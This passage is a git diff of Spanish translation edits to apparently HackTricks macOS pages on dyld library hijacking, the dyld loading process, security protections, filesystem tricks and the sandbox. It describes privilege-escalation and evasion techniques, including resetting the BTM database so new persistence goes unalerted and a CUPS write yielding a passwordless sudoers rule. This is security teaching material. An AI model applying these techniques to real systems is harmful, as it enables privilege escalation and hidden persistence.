secuestrar la carga de la biblioteca en `[...]/v2/` ya que se sigue el orden de rutas en **`LC_LOAD_DYLIB`**. - **Encuentra rutas y bibliotecas rpath** en binarios con: `otool -l | grep -E "LC_RPATH|LC_LOAD_DYLIB" -A 5` > [!NOTE] > **`@executable_path`**: Es la **ruta** al directorio que contiene el **archivo ejecutable principal**. @@ -131,40 +131,40 @@ De **`man dlopen`**: > Si no hay barras en el nombre, habría 2 formas de hacer un secuestro: > > - Si algún **`LC_RPATH`** es **escribible** (pero se verifica la firma, así que para esto también necesitas que el binario no esté restringido) -> - Si el binario es **sin restricciones** y luego es posible cargar algo desde el CWD (o abusando de una de las variables de entorno mencionadas) +> - Si el binario es **sin restricciones** y luego es posible cargar algo desde el CWD (o abusar de una de las variables de entorno mencionadas) -- Cuando la ruta **parece una ruta de framework** (por ejemplo, `/stuff/foo.framework/foo`), si **`$DYLD_FRAMEWORK_PATH`** se estableció al inicio, dyld primero buscará en ese directorio la **ruta parcial del framework** (por ejemplo, `foo.framework/foo`). Luego, dyld intentará la **ruta suministrada tal cual** (usando el directorio de trabajo actual para rutas relativas). Por último, para binarios antiguos, dyld intentará algunas alternativas. Si **`$DYLD_FALLBACK_FRAMEWORK_PATH`** se estableció al inicio, dyld buscará en esos directorios. De lo contrario, buscará en **`/Library/Frameworks`** (en macOS si el proceso es sin restricciones), luego en **`/System/Library/Frameworks`**. +- Cuando la ruta **parece un marco** (por ejemplo, `/stuff/foo.framework/foo`), si **`$DYLD_FRAMEWORK_PATH`** se estableció al inicio, dyld primero buscará en ese directorio para la **ruta parcial del marco** (por ejemplo, `foo.framework/foo`). Luego, dyld intentará la **ruta proporcionada tal cual** (usando el directorio de trabajo actual para rutas relativas). Por último, para binarios antiguos, dyld intentará algunas alternativas. Si **`$DYLD_FALLBACK_FRAMEWORK_PATH`** se estableció al inicio, dyld buscará en esos directorios. De lo contrario, buscará en **`/Library/Frameworks`** (en macOS si el proceso es sin restricciones), luego en **`/System/Library/Frameworks`**. 1. `$DYLD_FRAMEWORK_PATH` -2. ruta suministrada (usando el directorio de trabajo actual para rutas relativas si no está restringido) +2. ruta proporcionada (usando el directorio de trabajo actual para rutas relativas si no está restringido) 3. `$DYLD_FALLBACK_FRAMEWORK_PATH` 4. `/Library/Frameworks` (si no está restringido) 5. `/System/Library/Frameworks` > [!CAUTION] -> Si es una ruta de framework, la forma de secuestrarla sería: +> Si es una ruta de marco, la forma de secuestrarlo sería: > -> - Si el proceso es **sin restricciones**, abusando de la **ruta relativa desde CWD** las variables de entorno mencionadas (incluso si no se dice en la documentación si el proceso está restringido, las variables de entorno DYLD\_\* son eliminadas) +> - Si el proceso es **sin restricciones**, abusando de la **ruta relativa desde CWD** las variables de entorno mencionadas (incluso si no se dice en la documentación, si el proceso está restringido, las variables de entorno DYLD\_\* son eliminadas) -- Cuando la ruta **contiene una barra pero no es una ruta de framework** (es decir, una ruta completa o una ruta parcial a un dylib), dlopen() primero busca en (si está establecido) en **`$DYLD_LIBRARY_PATH`** (con la parte de hoja de la ruta). Luego, dyld **intenta la ruta suministrada** (usando el directorio de trabajo actual para rutas relativas (pero solo para procesos sin restricciones)). Por último, para binarios más antiguos, dyld intentará alternativas. Si **`$DYLD_FALLBACK_LIBRARY_PATH`** se estableció al inicio, dyld buscará en esos directorios, de lo contrario, dyld buscará en **`/usr/local/lib/`** (si el proceso es sin restricciones), y luego en **`/usr/lib/`**. +- Cuando la ruta **contiene una barra pero no es una ruta de marco** (es decir, una ruta completa o una ruta parcial a un dylib), dlopen() primero busca en (si está configurado) en **`$DYLD_LIBRARY_PATH`** (con la parte de hoja de la ruta). Luego, dyld **intenta la ruta proporcionada** (usando el directorio de trabajo actual para rutas relativas (pero solo para procesos sin restricciones)). Por último, para binarios más antiguos, dyld intentará alternativas. Si **`$DYLD_FALLBACK_LIBRARY_PATH`** se estableció al inicio, dyld buscará en esos directorios, de lo contrario, dyld buscará en **`/usr/local/lib/`** (si el proceso es sin restricciones), y luego en **`/usr/lib/`**. 1. `$DYLD_LIBRARY_PATH` -2. ruta suministrada (usando el directorio de trabajo actual para rutas relativas si no está restringido) +2. ruta proporcionada (usando el directorio de trabajo actual para rutas relativas si no está restringido) 3. `$DYLD_FALLBACK_LIBRARY_PATH` 4. `/usr/local/lib/` (si no está restringido) 5. `/usr/lib/` > [!CAUTION] -> Si hay barras en el nombre y no es un framework, la forma de secuestrarlo sería: +> Si hay barras en el nombre y no es un marco, la forma de secuestrarlo sería: > -> - Si el binario es **sin restricciones** y luego es posible cargar algo desde el CWD o `/usr/local/lib` (o abusando de una de las variables de entorno mencionadas) +> - Si el binario es **sin restricciones** y luego es posible cargar algo desde el CWD o `/usr/local/lib` (o abusar de una de las variables de entorno mencionadas) -> [!NOTE] +> [!TIP] > Nota: No hay **archivos de configuración** para **controlar la búsqueda de dlopen**. > > Nota: Si el ejecutable principal es un **binario set\[ug]id o firmado con derechos**, entonces **todas las variables de entorno son ignoradas**, y solo se puede usar una ruta completa ([ver restricciones de DYLD_INSERT_LIBRARIES](macos-dyld-hijacking-and-dyld_insert_libraries.md#check-dyld_insert_librery-restrictions) para más información detallada) > > Nota: Las plataformas de Apple utilizan archivos "universales" para combinar bibliotecas de 32 bits y 64 bits. Esto significa que no hay **rutas de búsqueda separadas para 32 bits y 64 bits**. > -> Nota: En las plataformas de Apple, la mayoría de las dylibs del sistema operativo están **combinadas en la caché de dyld** y no existen en el disco. Por lo tanto, llamar a **`stat()`** para preflight si una dylib del sistema operativo existe **no funcionará**. Sin embargo, **`dlopen_preflight()`** utiliza los mismos pasos que **`dlopen()`** para encontrar un archivo mach-o compatible. +> Nota: En las plataformas de Apple, la mayoría de los dylibs del sistema operativo están **combinados en la caché de dyld** y no existen en el disco. Por lo tanto, llamar a **`stat()`** para verificar si un dylib del sistema operativo existe **no funcionará**. Sin embargo, **`dlopen_preflight()`** utiliza los mismos pasos que **`dlopen()`** para encontrar un archivo mach-o compatible. **Verificar rutas** @@ -219,7 +219,7 @@ sudo fs_usage | grep "dlopentest" Si un **binario/app privilegiado** (como un SUID o algún binario con privilegios poderosos) está **cargando una biblioteca de ruta relativa** (por ejemplo, usando `@executable_path` o `@loader_path`) y tiene **la Validación de Biblioteca deshabilitada**, podría ser posible mover el binario a una ubicación donde el atacante podría **modificar la biblioteca de ruta relativa cargada**, y abusar de ella para inyectar código en el proceso. -## Podar variables de entorno `DYLD_*` y `LD_LIBRARY_PATH` +## Podar las variables de entorno `DYLD_*` y `LD_LIBRARY_PATH` En el archivo `dyld-dyld-832.7.1/src/dyld2.cpp` es posible encontrar la función **`pruneEnvironmentVariables`**, que eliminará cualquier variable de entorno que **comience con `DYLD_`** y **`LD_LIBRARY_PATH=`**. @@ -264,7 +264,7 @@ gLinkContext.allowInterposing = true; ``` Lo que básicamente significa que si el binario es **suid** o **sgid**, o tiene un segmento **RESTRICT** en los encabezados o fue firmado con la bandera **CS_RESTRICT**, entonces **`!gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache`** es verdadero y las variables de entorno son eliminadas. -Tenga en cuenta que si CS_REQUIRE_LV es verdadero, entonces las variables no serán eliminadas, pero la validación de la biblioteca verificará que estén usando el mismo certificado que el binario original. +Tenga en cuenta que si CS_REQUIRE_LV es verdadero, entonces las variables no serán eliminadas, pero la validación de la biblioteca verificará que estén utilizando el mismo certificado que el binario original. ## Verificar Restricciones diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.md index 78b3fc755..760bba6b9 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.md @@ -11,7 +11,7 @@ Este enlazador necesitará localizar todas las bibliotecas ejecutables, mapeánd Por supuesto, **`dyld`** no tiene dependencias (utiliza syscalls y extractos de libSystem). > [!CAUTION] -> Si este enlazador contiene alguna vulnerabilidad, dado que se ejecuta antes de ejecutar cualquier binario (incluso los altamente privilegiados), sería posible **escalar privilegios**. +> Si este enlazador contiene alguna vulnerabilidad, ya que se ejecuta antes de ejecutar cualquier binario (incluso los altamente privilegiados), sería posible **escalar privilegios**. ### Flujo @@ -25,12 +25,12 @@ Dyld será cargado por **`dyldboostrap::start`**, que también cargará cosas co Luego, mapea la caché compartida de dyld que preenlaza todas las bibliotecas del sistema importantes y luego mapea las bibliotecas de las que depende el binario y continúa recursivamente hasta que se carguen todas las bibliotecas necesarias. Por lo tanto: -1. comienza a cargar bibliotecas insertadas con `DYLD_INSERT_LIBRARIES` (si se permite) +1. comienza cargando bibliotecas insertadas con `DYLD_INSERT_LIBRARIES` (si se permite) 2. Luego las compartidas en caché 3. Luego las importadas 1. Luego continúa importando bibliotecas recursivamente -Una vez que todas están cargadas, se ejecutan los **inicializadores** de estas bibliotecas. Estos están codificados usando **`__attribute__((constructor))`** definidos en el `LC_ROUTINES[_64]` (ahora en desuso) o por puntero en una sección marcada con `S_MOD_INIT_FUNC_POINTERS` (generalmente: **`__DATA.__MOD_INIT_FUNC`**). +Una vez que todas están cargadas, se ejecutan los **inicializadores** de estas bibliotecas. Estos están codificados usando **`__attribute__((constructor))`** definido en el `LC_ROUTINES[_64]` (ahora obsoleto) o por puntero en una sección marcada con `S_MOD_INIT_FUNC_POINTERS` (generalmente: **`__DATA.__MOD_INIT_FUNC`**). Los terminadores están codificados con **`__attribute__((destructor))`** y se encuentran en una sección marcada con `S_MOD_TERM_FUNC_POINTERS` (**`__DATA.__mod_term_func`**). @@ -68,7 +68,7 @@ Interesante parte de desensamblaje: 100003f80: 913e9000 add x0, x0, #4004 100003f84: 94000005 bl 0x100003f98 <_printf+0x100003f98> ``` -Es posible ver que el salto a la llamada a printf va a **`__TEXT.__stubs`**: +Es posible ver que el salto a llamar a printf va a **`__TEXT.__stubs`**: ```bash objdump --section-headers ./load @@ -142,7 +142,7 @@ es posible ver todos estos valores interesantes depurando antes de entrar en mai
lldb ./apple
 
 (lldb) target create "./a"
-Ejecutable actual establecido en '/tmp/a' (arm64).
+El ejecutable actual se ha establecido en '/tmp/a' (arm64).
 (lldb) process launch -s
 [..]
 
@@ -190,7 +190,7 @@ Variables de entorno interesantes que ayudan a entender qué está haciendo dyld
 
 - **DYLD_PRINT_LIBRARIES**
 
-Verificar cada biblioteca que se carga:
+Verifica cada biblioteca que se carga:
 ```
 DYLD_PRINT_LIBRARIES=1 ./apple
 dyld[19948]: <9F848759-9AB8-3BD2-96A1-C069DC1FFD43> /private/tmp/a
@@ -289,6 +289,6 @@ find . -type f | xargs grep strcmp| grep key,\ \" | cut -d'"' -f2 | sort -u
 ```
 ## Referencias
 
-- [**\*OS Internals, Volume I: User Mode. Por Jonathan Levin**](https://www.amazon.com/MacOS-iOS-Internals-User-Mode/dp/099105556X)
+- [**\*OS Internals, Volume I: User Mode. By Jonathan Levin**](https://www.amazon.com/MacOS-iOS-Internals-User-Mode/dp/099105556X)
 
 {{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/README.md
index 6e32c8253..ab0c73c86 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/README.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/README.md
@@ -1,4 +1,4 @@
-# Protecciones de Seguridad de macOS
+# macOS Security Protections
 
 {{#include ../../../banners/hacktricks-training.md}}
 
@@ -12,11 +12,11 @@ Más información en:
 macos-gatekeeper.md
 {{#endref}}
 
-## Límites de Procesos
+## Processes Limitants
 
 ### MACF
 
-### SIP - Protección de Integridad del Sistema
+### SIP - System Integrity Protection
 
 {{#ref}}
 macos-sip.md
@@ -24,13 +24,13 @@ macos-sip.md
 
 ### Sandbox
 
-El Sandbox de macOS **limita las aplicaciones** que se ejecutan dentro del sandbox a las **acciones permitidas especificadas en el perfil de Sandbox** con el que se está ejecutando la aplicación. Esto ayuda a garantizar que **la aplicación solo acceda a los recursos esperados**.
+MacOS Sandbox **limita las aplicaciones** que se ejecutan dentro del sandbox a las **acciones permitidas especificadas en el perfil de Sandbox** con el que se está ejecutando la aplicación. Esto ayuda a garantizar que **la aplicación solo accederá a los recursos esperados**.
 
 {{#ref}}
 macos-sandbox/
 {{#endref}}
 
-### TCC - **Transparencia, Consentimiento y Control**
+### TCC - **Transparency, Consent, and Control**
 
 **TCC (Transparencia, Consentimiento y Control)** es un marco de seguridad. Está diseñado para **gestionar los permisos** de las aplicaciones, regulando específicamente su acceso a funciones sensibles. Esto incluye elementos como **servicios de ubicación, contactos, fotos, micrófono, cámara, accesibilidad y acceso completo al disco**. TCC asegura que las aplicaciones solo puedan acceder a estas funciones después de obtener el consentimiento explícito del usuario, fortaleciendo así la privacidad y el control sobre los datos personales.
 
@@ -38,30 +38,30 @@ macos-sandbox/
 macos-tcc/
 {{#endref}}
 
-### Restricciones de Lanzamiento/Entorno y Caché de Confianza
+### Launch/Environment Constraints & Trust Cache
 
-Las restricciones de lanzamiento en macOS son una característica de seguridad para **regular la iniciación de procesos** definiendo **quién puede lanzar** un proceso, **cómo** y **desde dónde**. Introducidas en macOS Ventura, categorizan los binarios del sistema en categorías de restricción dentro de una **caché de confianza**. Cada binario ejecutable tiene **reglas** establecidas para su **lanzamiento**, incluyendo restricciones de **auto**, **padre** y **responsable**. Ampliadas a aplicaciones de terceros como **Restricciones de Entorno** en macOS Sonoma, estas características ayudan a mitigar posibles explotaciones del sistema al gobernar las condiciones de lanzamiento de procesos.
+Las restricciones de lanzamiento en macOS son una característica de seguridad para **regular la iniciación de procesos** definiendo **quién puede lanzar** un proceso, **cómo** y **desde dónde**. Introducidas en macOS Ventura, categorizan los binarios del sistema en categorías de restricción dentro de un **trust cache**. Cada binario ejecutable tiene **reglas** establecidas para su **lanzamiento**, incluyendo restricciones de **auto**, **padre** y **responsable**. Ampliadas a aplicaciones de terceros como **Environment** Constraints en macOS Sonoma, estas características ayudan a mitigar posibles explotaciones del sistema al gobernar las condiciones de lanzamiento de procesos.
 
 {{#ref}}
 macos-launch-environment-constraints.md
 {{#endref}}
 
-## MRT - Herramienta de Eliminación de Malware
+## MRT - Malware Removal Tool
 
-La Herramienta de Eliminación de Malware (MRT) es otra parte de la infraestructura de seguridad de macOS. Como su nombre indica, la función principal de MRT es **eliminar malware conocido de sistemas infectados**.
+La herramienta de eliminación de malware (MRT) es otra parte de la infraestructura de seguridad de macOS. Como su nombre indica, la función principal de MRT es **eliminar malware conocido de sistemas infectados**.
 
 Una vez que se detecta malware en un Mac (ya sea por XProtect o por otros medios), se puede usar MRT para **eliminar automáticamente el malware**. MRT opera silenciosamente en segundo plano y generalmente se ejecuta cada vez que se actualiza el sistema o cuando se descarga una nueva definición de malware (parece que las reglas que MRT tiene para detectar malware están dentro del binario).
 
 Mientras que tanto XProtect como MRT son parte de las medidas de seguridad de macOS, realizan funciones diferentes:
 
-- **XProtect** es una herramienta preventiva. **Verifica archivos a medida que se descargan** (a través de ciertas aplicaciones), y si detecta algún tipo de malware conocido, **previene que el archivo se abra**, evitando así que el malware infecte su sistema en primer lugar.
+- **XProtect** es una herramienta preventiva. **Verifica los archivos a medida que se descargan** (a través de ciertas aplicaciones), y si detecta algún tipo de malware conocido, **previene que el archivo se abra**, evitando así que el malware infecte su sistema en primer lugar.
 - **MRT**, por otro lado, es una **herramienta reactiva**. Opera después de que se ha detectado malware en un sistema, con el objetivo de eliminar el software ofensivo para limpiar el sistema.
 
 La aplicación MRT se encuentra en **`/Library/Apple/System/Library/CoreServices/MRT.app`**
 
-## Gestión de Tareas en Segundo Plano
+## Background Tasks Management
 
-**macOS** ahora **alerta** cada vez que una herramienta utiliza una **técnica bien conocida para persistir la ejecución de código** (como Elementos de Inicio de Sesión, Daemons...), para que el usuario sepa mejor **qué software está persistiendo**.
+**macOS** ahora **alerta** cada vez que una herramienta utiliza una **técnica bien conocida para persistir la ejecución de código** (como Login Items, Daemons...), para que el usuario sepa mejor **qué software está persistiendo**.
 
 
@@ -87,7 +87,7 @@ Además, hay un archivo plist que contiene **aplicaciones bien conocidas** que f ``` ### Enumeración -Es posible **enumerar todos** los elementos de fondo configurados ejecutando la herramienta cli de Apple: +Es posible **enumerar todos** los elementos de fondo configurados utilizando la herramienta cli de Apple: ```bash # The tool will always ask for the users password sfltool dumpbtm @@ -99,13 +99,13 @@ chmod +x dumpBTM xattr -rc dumpBTM # Remove quarantine attr ./dumpBTM ``` -Esta información se está almacenando en **`/private/var/db/com.apple.backgroundtaskmanagement/BackgroundItems-v4.btm`** y el Terminal necesita FDA. +Esta información se almacena en **`/private/var/db/com.apple.backgroundtaskmanagement/BackgroundItems-v4.btm`** y el Terminal necesita FDA. ### Manipulando BTM Cuando se encuentra una nueva persistencia, se genera un evento de tipo **`ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_ADD`**. Por lo tanto, cualquier forma de **prevenir** que este **evento** sea enviado o que el **agente alerte** al usuario ayudará a un atacante a _**eludir**_ BTM. -- **Restableciendo la base de datos**: Ejecutar el siguiente comando restablecerá la base de datos (debería reconstruirse desde cero), sin embargo, por alguna razón, después de ejecutar esto, **no se alertará sobre ninguna nueva persistencia hasta que el sistema se reinicie**. +- **Restablecer la base de datos**: Ejecutar el siguiente comando restablecerá la base de datos (debería reconstruirse desde cero), sin embargo, por alguna razón, después de ejecutar esto, **no se alertará sobre ninguna nueva persistencia hasta que el sistema se reinicie**. - Se requiere **root**. ```bash # Reset the database diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md index 225c0e5e6..abaa23e5d 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md @@ -6,18 +6,18 @@ Permisos en un **directorio**: -- **leer** - puedes **enumerar** las entradas del directorio -- **escribir** - puedes **eliminar/escribir** **archivos** en el directorio y puedes **eliminar carpetas vacías**. +- **lectura** - puedes **enumerar** las entradas del directorio +- **escritura** - puedes **eliminar/escribir** **archivos** en el directorio y puedes **eliminar carpetas vacías**. - Pero **no puedes eliminar/modificar carpetas no vacías** a menos que tengas permisos de escritura sobre ellas. - **No puedes modificar el nombre de una carpeta** a menos que seas el propietario. - **ejecutar** - se te **permite atravesar** el directorio - si no tienes este derecho, no puedes acceder a ningún archivo dentro de él, ni en ningún subdirectorio. -### Combinaciones peligrosas +### Combinaciones Peligrosas **Cómo sobrescribir un archivo/carpeta propiedad de root**, pero: -- Un **propietario de directorio** padre en la ruta es el usuario -- Un **propietario de directorio** padre en la ruta es un **grupo de usuarios** con **acceso de escritura** +- Un **propietario de directorio** en la ruta es el usuario +- Un **propietario de directorio** en la ruta es un **grupo de usuarios** con **acceso de escritura** - Un **grupo** de usuarios tiene **acceso de escritura** al **archivo** Con cualquiera de las combinaciones anteriores, un atacante podría **inyectar** un **enlace simbólico/duro** en la ruta esperada para obtener una escritura arbitraria privilegiada. @@ -28,9 +28,9 @@ Si hay archivos en un **directorio** donde **solo root tiene acceso R+X**, esos Ejemplo en: [https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions](https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions) -## Enlace simbólico / Enlace duro +## Enlace Simbólico / Enlace Duro -### Archivo/carpeta permisivo +### Archivo/carpeta permisiva Si un proceso privilegiado está escribiendo datos en un **archivo** que podría ser **controlado** por un **usuario de menor privilegio**, o que podría haber sido **creado previamente** por un usuario de menor privilegio. El usuario podría simplemente **apuntarlo a otro archivo** a través de un enlace simbólico o duro, y el proceso privilegiado escribirá en ese archivo. @@ -38,7 +38,7 @@ Consulta en las otras secciones donde un atacante podría **abusar de una escrit ### Abrir `O_NOFOLLOW` -La bandera `O_NOFOLLOW` cuando se usa en la función `open` no seguirá un symlink en el último componente de la ruta, pero seguirá el resto de la ruta. La forma correcta de prevenir el seguimiento de symlinks en la ruta es utilizando la bandera `O_NOFOLLOW_ANY`. +La bandera `O_NOFOLLOW` cuando es utilizada por la función `open` no seguirá un symlink en el último componente de la ruta, pero seguirá el resto de la ruta. La forma correcta de prevenir seguir symlinks en la ruta es utilizando la bandera `O_NOFOLLOW_ANY`. ## .fileloc @@ -56,9 +56,9 @@ Ejemplo: ``` -## Descriptores de Archivo +## Descriptores de Archivos -### Filtración de FD (sin `O_CLOEXEC`) +### Fuga de FD (sin `O_CLOEXEC`) Si una llamada a `open` no tiene la bandera `O_CLOEXEC`, el descriptor de archivo será heredado por el proceso hijo. Así que, si un proceso privilegiado abre un archivo privilegiado y ejecuta un proceso controlado por el atacante, el atacante **heredará el FD sobre el archivo privilegiado**. @@ -148,6 +148,7 @@ ls -le test No es realmente necesario, pero lo dejo ahí por si acaso: + {{#ref}} macos-xattr-acls-extra-stuff.md {{#endref}} @@ -156,11 +157,11 @@ macos-xattr-acls-extra-stuff.md ### Bypass de verificaciones de binarios de plataforma -Algunas verificaciones de seguridad comprueban si el binario es un **binario de plataforma**, por ejemplo, para permitir la conexión a un servicio XPC. Sin embargo, como se expone en un bypass en https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/, es posible eludir esta verificación obteniendo un binario de plataforma (como /bin/ls) e inyectando el exploit a través de dyld usando una variable de entorno `DYLD_INSERT_LIBRARIES`. +Al algunas verificaciones de seguridad se les verifica si el binario es un **binario de plataforma**, por ejemplo, para permitir la conexión a un servicio XPC. Sin embargo, como se expone en un bypass en https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/, es posible eludir esta verificación obteniendo un binario de plataforma (como /bin/ls) e inyectando el exploit a través de dyld usando una variable de entorno `DYLD_INSERT_LIBRARIES`. -### Bypass de las flags `CS_REQUIRE_LV` y `CS_FORCED_LV` +### Bypass de flags `CS_REQUIRE_LV` y `CS_FORCED_LV` -Es posible que un binario en ejecución modifique sus propias flags para eludir verificaciones con un código como: +Es posible que un binario en ejecución modifique sus propios flags para eludir verificaciones con un código como: ```c // Code from https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/ int pid = getpid(); @@ -248,12 +249,12 @@ hdiutil detach /private/tmp/mnt 1>/dev/null # You can also create a dmg from an app using: hdiutil create -srcfolder justsome.app justsome.dmg ``` -Usualmente, macOS monta discos hablando con el servicio Mach `com.apple.DiskArbitration.diskarbitrationd` (proporcionado por `/usr/libexec/diskarbitrationd`). Si se agrega el parámetro `-d` al archivo plist de LaunchDaemons y se reinicia, almacenará registros en `/var/log/diskarbitrationd.log`.\ -Sin embargo, es posible usar herramientas como `hdik` y `hdiutil` para comunicarse directamente con el kext `com.apple.driver.DiskImages`. +Usualmente, macOS monta discos comunicándose con el servicio Mach `com.apple.DiskArbitrarion.diskarbitrariond` (proporcionado por `/usr/libexec/diskarbitrationd`). Si se agrega el parámetro `-d` al archivo plist de LaunchDaemons y se reinicia, almacenará registros en `/var/log/diskarbitrationd.log`.\ +Sin embargo, es posible utilizar herramientas como `hdik` y `hdiutil` para comunicarse directamente con el kext `com.apple.driver.DiskImages`. ## Escrituras Arbitrarias -### Scripts sh Periódicos +### Scripts sh periódicos Si tu script pudiera ser interpretado como un **script de shell**, podrías sobrescribir el **`/etc/periodic/daily/999.local`** script de shell que se activará todos los días. @@ -304,7 +305,7 @@ Esto creará el archivo `/etc/sudoers.d/lpe` con permisos 777. La basura extra a Luego, escribe en `/etc/sudoers.d/lpe` la configuración necesaria para escalar privilegios como `%staff ALL=(ALL) NOPASSWD:ALL`. -Luego, modifica el archivo `/etc/cups/cups-files.conf` nuevamente indicando `LogFilePerm 700` para que el nuevo archivo sudoers se vuelva válido invocando `cupsctl`. +Luego, modifica el archivo `/etc/cups/cups-files.conf` nuevamente indicando `LogFilePerm 700` para que el nuevo archivo de sudoers se vuelva válido invocando `cupsctl`. ### Escape de Sandbox diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md index e6f63793c..48b77710e 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md @@ -8,7 +8,7 @@ MacOS Sandbox (inicialmente llamado Seatbelt) **limita las aplicaciones** que se Cualquier aplicación con la **entitlement** **`com.apple.security.app-sandbox`** se ejecutará dentro del sandbox. **Los binarios de Apple** generalmente se ejecutan dentro de un Sandbox, y todas las aplicaciones de la **App Store tienen esa entitlement**. Por lo tanto, varias aplicaciones se ejecutarán dentro del sandbox. -Para controlar lo que un proceso puede o no puede hacer, el **Sandbox tiene hooks** en casi cualquier operación que un proceso podría intentar (incluyendo la mayoría de las syscalls) utilizando **MACF**. Sin embargo, **dependiendo** de las **entitlements** de la aplicación, el Sandbox podría ser más permisivo con el proceso. +Para controlar lo que un proceso puede o no puede hacer, el **Sandbox tiene hooks** en casi cualquier operación que un proceso podría intentar (incluyendo la mayoría de las syscalls) utilizando **MACF**. Sin embargo, d**ependiendo** de las **entitlements** de la aplicación, el Sandbox podría ser más permisivo con el proceso. Algunos componentes importantes del Sandbox son: @@ -30,7 +30,7 @@ drwx------@ 4 username staff 128 Mar 25 14:14 com.apple.Accessibility-Settings drwx------@ 4 username staff 128 Mar 25 14:10 com.apple.ActionKit.BundledIntentHandler [...] ``` -Dentro de cada carpeta de id de paquete, puedes encontrar el **plist** y el **Directorio de Datos** de la aplicación con una estructura que imita la carpeta de inicio: +Dentro de cada carpeta de id de paquete, puedes encontrar el **plist** y el **Directorio de Datos** de la aplicación con una estructura que imita la carpeta de Inicio: ```bash cd /Users/username/Library/Containers/com.apple.Safari ls -la @@ -56,7 +56,7 @@ drwx------ 2 username staff 64 Mar 24 18:02 tmp > [!CAUTION] > Tenga en cuenta que incluso si los symlinks están ahí para "escapar" del Sandbox y acceder a otras carpetas, la App aún necesita **tener permisos** para acceder a ellas. Estos permisos están dentro del **`.plist`** en los `RedirectablePaths`. -Los **`SandboxProfileData`** son el perfil de sandbox compilado CFData escapado a B64. +El **`SandboxProfileData`** es el perfil de sandbox compilado CFData escapado a B64. ```bash # Get container config ## You need FDA to access the file, not even just root can read it @@ -131,11 +131,11 @@ Aquí puedes encontrar un ejemplo: ) ``` > [!TIP] -> Consulta esta [**investigación**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **para verificar más acciones que podrían ser permitidas o denegadas.** +> Consulta esta [**investigación**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **para ver más acciones que podrían ser permitidas o denegadas.** > > Ten en cuenta que en la versión compilada de un perfil, el nombre de las operaciones es sustituido por sus entradas en un array conocido por el dylib y el kext, haciendo que la versión compilada sea más corta y más difícil de leer. -Los **servicios del sistema** importantes también se ejecutan dentro de su propio **sandbox** personalizado, como el servicio `mdnsresponder`. Puedes ver estos **perfiles de sandbox** personalizados en: +Importantes **servicios del sistema** también se ejecutan dentro de su propio **sandbox** personalizado, como el servicio `mdnsresponder`. Puedes ver estos **perfiles de sandbox** personalizados en: - **`/usr/share/sandbox`** - **`/System/Library/Sandbox/Profiles`** @@ -149,7 +149,7 @@ Luego, algunos **servicios de demonios de Apple** utilizan diferentes perfiles u ### Ejemplos de Perfiles de Sandbox -Para iniciar una aplicación con un **perfil de sandbox específico**, puedes usar: +Para iniciar una aplicación con un **perfil de sandbox específico** puedes usar: ```bash sandbox-exec -f example.sb /Path/To/The/Application ``` @@ -199,7 +199,7 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last {{#endtab}} {{#endtabs}} -> [!NOTE] +> [!TIP] > Tenga en cuenta que el **software** **autorizado por Apple** que se ejecuta en **Windows** **no tiene precauciones de seguridad adicionales**, como el sandboxing de aplicaciones. Ejemplos de bypass: @@ -211,7 +211,7 @@ Ejemplos de bypass: #### A través del perfil -Es posible rastrear todas las verificaciones que realiza el sandbox cada vez que se verifica una acción. Para ello, solo crea el siguiente perfil: +Es posible rastrear todas las verificaciones que el sandbox realiza cada vez que se verifica una acción. Para ello, solo crea el siguiente perfil: ```scheme:trace.sb (version 1) (trace /tmp/trace.out) @@ -226,10 +226,10 @@ También es posible rastrear el sandbox usando el **`-t`** parámetro: `sandbox- #### A través de API -La función `sandbox_set_trace_path` exportada por `libsystem_sandbox.dylib` permite especificar un nombre de archivo de rastreo donde se escribirán las verificaciones de sandbox.\ -También es posible hacer algo similar llamando a `sandbox_vtrace_enable()` y luego obteniendo los registros de error del búfer llamando a `sandbox_vtrace_report()`. +La función `sandbox_set_trace_path` exportada por `libsystem_sandbox.dylib` permite especificar un nombre de archivo de traza donde se escribirán las verificaciones del sandbox.\ +También es posible hacer algo similar llamando a `sandbox_vtrace_enable()` y luego obteniendo los errores de registro del búfer llamando a `sandbox_vtrace_report()`. -### Inspección de Sandbox +### Inspección del Sandbox `libsandbox.dylib` exporta una función llamada sandbox_inspect_pid que proporciona una lista del estado del sandbox de un proceso (incluidas las extensiones). Sin embargo, solo los binarios de la plataforma pueden usar esta función. @@ -237,7 +237,7 @@ También es posible hacer algo similar llamando a `sandbox_vtrace_enable()` y lu MacOS almacena los perfiles de sandbox del sistema en 